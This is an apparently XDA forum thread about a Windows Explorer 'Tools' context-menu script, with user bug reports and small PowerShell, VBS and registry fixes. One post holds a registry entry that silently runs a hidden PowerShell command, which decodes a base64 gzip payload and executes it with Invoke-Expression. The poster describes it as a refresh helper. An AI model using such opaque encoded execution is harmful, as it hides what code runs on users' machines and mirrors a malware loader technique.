[Script]Tools Menu v.05

Search This thread

coldbloc

Senior Member
Nov 25, 2013
60
8
im looking but finding it but maybe u know it, is there a way to have it send the f5 key with powershell?

Yes and no. I tried sendkeys f5 (powershell console steals focus). I tried minimize console window, then refresh, didn't work. (explorer still had no focus), think it refreshed my 'taskbar'.

Then I tried this, but no go, focus. Explorer blinked but did not refresh fully, I think again focus issue.

http://powershell.com/cs/media/p/8322.aspx

Probably need to spawn powershell invisible so we don't lose focus in the first place. I've been using the old invisible.vbs or cmdow.exe but including those or nirsoft or below app would defeat the purpose.

http://www.ntwind.com/software/hstart.html

Note to self, remove the start /B (spawning powershell externally of cmd.exe) then add windowstyle -hidden and see if it won't run asynchronously and invisibly to cmd.exe. Maybe even a 1 second sleep to be sure the .cmd window has died. EDIT: windows style hidden still shows pop up.
This looks like the real way to invisible powershell.

http://msdn.microsoft.com/en-us/library/system.diagnostics.processstartinfo(v=vs.110).aspx

http://technet.microsoft.com/en-us/library/ff731006.aspx

Code:
$objStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$objStartInfo.FileName = "PowerShell.exe"
$objStartInfo.windowStyle ="Hidden"
$objStartInfo.arguments = "-noexit C:\Scripts\Test.ps1"
[System.Diagnostics.Process]::Start($objStartInfo)
Unless anyone can show me how to get the window title from explorer.exe pid so I could set focus properly.
 
Last edited:

steal25

Inactive Recognized Developer
great script and great options, one issue though is it is not adding the power menu icons to dropdown. im using win 8.

w8.png




EDIT: Rebooting PC fixed it. Thank again for a cool script!
 
Last edited:

Pjay12

Senior Member
Jun 16, 2011
298
78
Hi I installed it and it seems to be working but the icons for power restart and 2 others are not recognized. It just shows a white square next to the option. Is there any fix for this? Thanks for the script!
 

pbanj

Senior Member
Dec 22, 2011
997
466
Hi I installed it and it seems to be working but the icons for power restart and 2 others are not recognized. It just shows a white square next to the option. Is there any fix for this? Thanks for the script!

try restarting your pc that seems to have fixed it for the other person who had that issue, could try restarting explorer first
 
  • Like
Reactions: Pjay12

coldbloc

Senior Member
Nov 25, 2013
60
8
try restarting your pc that seems to have fixed it for the other person who had that issue
Wrote a kludge to fix this refresh issue, seems to be working even from special folders.

Code:
$check = (Get-ItemProperty -Path 'registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt').HideFileExt;if ($check -eq 0){Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 1} else {Set-ItemProperty -Path 'registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0}

$app = New-Object -com shell.application
$a = $app.Windows() | where {$_.fullname -match "explorer.exe"} | foreach {$_.LocationURL}
$a = $a | foreach {$_ -Replace "file:///",""}
$a = $a | foreach {$_ -Replace "/","\"}
$a = $a | foreach {$_ -Replace "%20"," "}

$a

$u = gc env:username
Foreach ($c in $a) {

$b = Split-Path -Leaf -Path $c

switch ($b) {
    Desktop {
        $c = "Desktop"
    }
    "$u" {
        $c = $u
    }
    Libraries {
        $c = "Libraries"
    }
    default {
        
    }
}


[void][System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
[Microsoft.VisualBasic.Interaction]::AppActivate("$c");
Start-Sleep -m 300
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');
[System.Windows.Forms.SendKeys]::SendWait("{F5}");
Start-Sleep -m 100
}
Haven't programmed in the rest of the special folders (downloads, music, pictures, etc), but it's a start.

EDIT: Here it is swapped into the FE-Tools key in case you want to test it out.

Code:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools]
"Icon"="C:\\Windows\\file.ico"
"MUIVerb"="Files Extensions"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\FE.Tools\command]
@="cmd /c start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command \"$PAYLOAD = 'H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/In7jBP/9btN5Pn2bfpZufZ6322dtvnhZV6u8bq/T7ZdZO08/rvOLomnr60ePvv17nf4+v//JV69enb548/t/9fr01e/7ujpvr7I6/32/KKZ11dBfv+93i+Wsump+35N1XefL9ifzuimq5e97+m5VVnVe/77Hs8tsOc1nH6fbL7JFnn787WKWPyvK/PRd+/GdsffXYXGebil+2/kvSnfu/OLX/y/AMd3+yaxc5+nuL0nzssnT/1chtfNLeFKz1Yqm9EV+tf3l5KfzaZtuT6tF2szzshzTd2UxzVoCjpbUDs3H2v3WnfRn0qt5XtPAfrfff3y+LssletteZO10nn6UKzrj/F3+0S+htuf0V0bfoPXzSuB+9er5L7Gwwzbp9qt8VWbTPP3onHB/dPfu3Y9GH310i+Zo9/vepuHvvrdDTdOPlBT875peuZim+fLy0brJawzpN06e6evEZGmxJJB30l/MrSfU+jVRqZWZ3H6eZ+c6q7/bFC2aq6LlFyf8yo89zZu3bbXi33+MoH2WfqQffUSfECI/9tHvtv7I+/p3W+vnz4tJndVF3vjv2g/N27P8PFuXrbSRz36JyO/3Lqti9v3vvb5uiAPHr/LzkqabpmB83DT5YlJef//Ro+dVNvtu0c5fZnVbZCW4Z+vjLwzjjX+yaNZZ+SRriunHdw4JpOVJ/6vx2bLN64yBE8zj1eqYfr/M2nzro99t+hFefN1SB9uvyzxfEb+kuzs7H4CfvqFsOaa5WjSCXuyb8et8Ofu98uuGwOHX72ZFu/XRL352/5cMYibswTLRkZWTaqG/fvSaRebYicxHh/LKeFEsi0Xxgzwry6078R5+4+R8veTRpq/n1dW2xyXU87vBXnudovX4TXVxUeYKA13qEHzQA3PwNSj2/y24/w+DcfMGzAYAAA==';$data = [System.Convert]::FromBase64String($PAYLOAD);$ms = New-Object System.IO.MemoryStream;$ms.Write($data, 0, $data.Length);$ms.Seek(0,0) | Out-Null;$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);$sr = New-Object System.IO.StreamReader($cs);$t = $sr.readtoend();Invoke-Expression $t;\""
 
Last edited:

Gack69

Senior Member
Nov 30, 2011
783
544
Louisville
Missing Icons...

Just installed, and I too am having trouble with icons not properly displaying. I've tried restarting explorer...no help...and rebooting PC several times, and also shutting down...waiting a bit, then restarting...same issue. See screenshot.

BTW...I'm on a new MS Surface 2 Pro...for what that's worth.
 

ckpv5

Inactive Recognized Contributor
Feb 11, 2008
14,354
18,301
Kuala Lumpur
Just installed, and I too am having trouble with icons not properly displaying. I've tried restarting explorer...no help...and rebooting PC several times, and also shutting down...waiting a bit, then restarting...same issue. See screenshot.

BTW...I'm on a new MS Surface 2 Pro...for what that's worth.

Had the same issue on my PC running Win8.1.

What I did to solve the missing icons is copied the icons from \Tools_Menu v0.4\Files\Pow to C:\Windows and restart PC. All icons are there.
 

trm96

Member
Jan 30, 2011
41
11
Script needing updating

Your script needs updating

Code:
:pow2
cd /d %~dp0
REGEDIT /s Files\Reg\Install_Epo.reg
xcopy Files\Epo C:\Windows
echo Done installing. Have a ****ed day.
pause
exit

Should read:

Code:
:pow2
cd /d %~dp0
REGEDIT /s Files\Reg\Install_Epo.reg
xcopy Files\Epo C:\Windows
xcopy Files\Pow C:\Windows
echo Done installing. Have a ****ed day.
pause
exit

Or you should put all the power icons into one folder.
 
  • Like
Reactions: pbanj

obynio

Inactive Recognized Developer
Apr 28, 2012
477
948
/dev/null
obyn.io
@pbanj

You made a small mistake in Hidden_Files.vbs. If the user click "Hidden Files" in the context menu, it doesn't show SuperHidden files as the Reg variable is always set to 0

Code:
[---]
If Check = 2 Then
Command1.RegWrite Hidden, 1, "REG_DWORD"
Command1.RegWrite SSHidden, [B][COLOR="Red"][SIZE="5"]0[/SIZE][/COLOR][/B], "REG_DWORD"  [B][COLOR="Green"][SIZE="5"]<-- Replace 0 by a 1[/SIZE][/COLOR][/B]
Else
Command1.RegWrite Hidden, 2, "REG_DWORD"
Command1.RegWrite SSHidden, [B][COLOR="Red"][SIZE="5"]0[/SIZE][/COLOR][/B], "REG_DWORD"
End If
[---]

However, nice work ;)
 
Last edited:
  • Like
Reactions: pbanj and mattman86

abhi98228

Senior Member
Aug 2, 2010
1,206
177
Pune
power menu icons are not working here how do i fix it i even tried manually copying all icons to windows folder not working
 

puntebhunte

Member
Jun 9, 2012
15
12
Just installed, and I too am having trouble with icons not properly displaying. I've tried restarting explorer...no help...and rebooting PC several times, and also shutting down...waiting a bit, then restarting...same issue. See screenshot.

BTW...I'm on a new MS Surface 2 Pro...for what that's worth.

Same here in Windows 8.1 Pro with WMC

---------- Post added at 05:02 PM ---------- Previous post was at 04:52 PM ----------

Had the same issue on my PC running Win8.1.

What I did to solve the missing icons is copied the icons from \Tools_Menu v0.4\Files\Pow to C:\Windows and restart PC. All icons are there.

Worked for me, Thank you.
 

xzaxox

Senior Member
Dec 20, 2011
230
54
When click "run as an administrator" cmd flashes and nothing else happens. Win 8.1 Pro x64
 

Top Liked Posts

  • There are no posts matching your filters.
  • 32
    IF USING AN OLD VER RUN THE UNINSTALL BEFORE INSTALLING A NEW VER

    This is a batch file i made to install a tools menu i made. it came to be out of me being lazy and not wanting to have to open menus or hold shift
    i did not make the scripts that some of the options use(credit is in the script).
    see pictures to see the options and what it looks like in the end

    IF ON WINDOWS RT YOU MUST BE JAILBROKEN TO USE. Thanks GoodDayToDie, it is now perfect :p

    Main

    wmrzd88igiyeoerfg.jpg


    Install

    25iv1bd0d2601hzfg.jpg


    Uninstall

    xrydz42j9jjzyypfg.jpg


    Installs finished

    Tools

    scs4qdyu1fazdt5fg.jpg


    Power

    1s41jczv7j3myocfg.jpg


    Power with extras

    n0omyl23t86djb4fg.jpg



    Changelog

    v0.2 - added open powershell as admin here, fixed open cmd as admin here, no longer need ele.exe and the e.cmd file
    v0.3 - able to remove the restart explorer.bat file thanks to coldbloc
    v0.4 - added power menu. normal has lock, logoff, restart, restart with boot options, and shut down. the second has all of the first but sleep, hibernate, and switch user.
    v0.5 - fixed an issue in the hidden files vbs(thanks LEDelete for pointing it out), fixed missing icon folder copy command in install script (thanks trm96 for pointing that out) should fix icons not showing up


    the script has some swears i found them funny, again the script was made for me i just figured others my find it helpful.


    if the icons dont show up reboot


    Download Tools Menu
    2
    My point was that the initial bug report *explicitly* said that the script was being run as Administrator... and you either just ignored that part or assumed they were lying. Not cool. Then you make it worse by refusing to acknowledge simple facts even when the person politely points out that they have, in fact, read and followed the readme, and again accuse them of not doing so. The "perfect" comment came from your astonishingly arrogant comment
    that error only comes up when you don't follow the readme............. By you getting that error you are not following the first step
    . Not "Hmm, that error message is supposed to mean something in the check for Admin failed" or "that's weird; if you run it as Admin you shouldn't ever see that error". Nope, just "there's only one thing that could cause that (because the code can't possibly have bugs, right?), so it's your fault". You claim you never said it was compatible with RT (this is true, and indeed your earlier versions that had executables in them wouldn't have been without additional hacks) but you never said what it *was* compatible with, nor did you say "well, I never tested it on RT, so maybe that's why you're getting the error?" or something similar.

    Anyhow, peace offering: I can help re-write those scripts so that they work on RT without jailbreaking. There's a standard command-line tool built into nearly all versions of Windows, including RT, called "reg.exe". You can call it just fine from BAT/CMD files, which will work on RT (I've used this trick myself, way back when RT was brand new). Run "reg /?" for usage information. As an example, I'm attaching a script (renamed to .txt so I can attach it here; just remove that part) that implements the hidden-files registry toggle in a way compatible with Windows RT.
    2
    @pbanj

    You made a small mistake in Hidden_Files.vbs. If the user click "Hidden Files" in the context menu, it doesn't show SuperHidden files as the Reg variable is always set to 0

    Code:
    [---]
    If Check = 2 Then
    Command1.RegWrite Hidden, 1, "REG_DWORD"
    Command1.RegWrite SSHidden, [B][COLOR="Red"][SIZE="5"]0[/SIZE][/COLOR][/B], "REG_DWORD"  [B][COLOR="Green"][SIZE="5"]<-- Replace 0 by a 1[/SIZE][/COLOR][/B]
    Else
    Command1.RegWrite Hidden, 2, "REG_DWORD"
    Command1.RegWrite SSHidden, [B][COLOR="Red"][SIZE="5"]0[/SIZE][/COLOR][/B], "REG_DWORD"
    End If
    [---]

    However, nice work ;)
    2
    Just installed, and I too am having trouble with icons not properly displaying. I've tried restarting explorer...no help...and rebooting PC several times, and also shutting down...waiting a bit, then restarting...same issue. See screenshot.

    BTW...I'm on a new MS Surface 2 Pro...for what that's worth.

    Had the same issue on my PC running Win8.1.

    What I did to solve the missing icons is copied the icons from \Tools_Menu v0.4\Files\Pow to C:\Windows and restart PC. All icons are there.
    1
    Looks cool.

    So imagine I copy a registry key to my clipboard, does this regedit command capture it and open directly ? I checked, it only opens registry. Wonder if this MJ snippet would work in RT.

    http://forums.mydigitallife.info/threads/38208

    FYI, I don't prefer to kill-explorer like that, I think some settings that are not finalized until logoff can be lost when doing so, so instead I just logoff. But to each his own.


    You can also change the position setting and the flyout will move to top or bottom of your menu. Make change in same key as the muiverb.

    Code:
    [FONT=monospace]
    [/FONT][HKEY_CLASSES_ROOT\Directory\background\shell\Tools]
    "MUIVerb"="Tools"
    "SubCommands"="regedit.Tools;Open Admin Cmd here.Tools;Open Cmd Here.Tools;Files Extensions.Tools;Hidden Files.Tools;Restart Explorer.Tools"
    "Icon"="C:\\Windows\\tools.ico"
    "Position"="Top"
    I forget the trick to add an extra divider line.

    EDIT: I've never been able to get more then 12 subcommands even with nested flyouts, if anyone knows how I am all ears.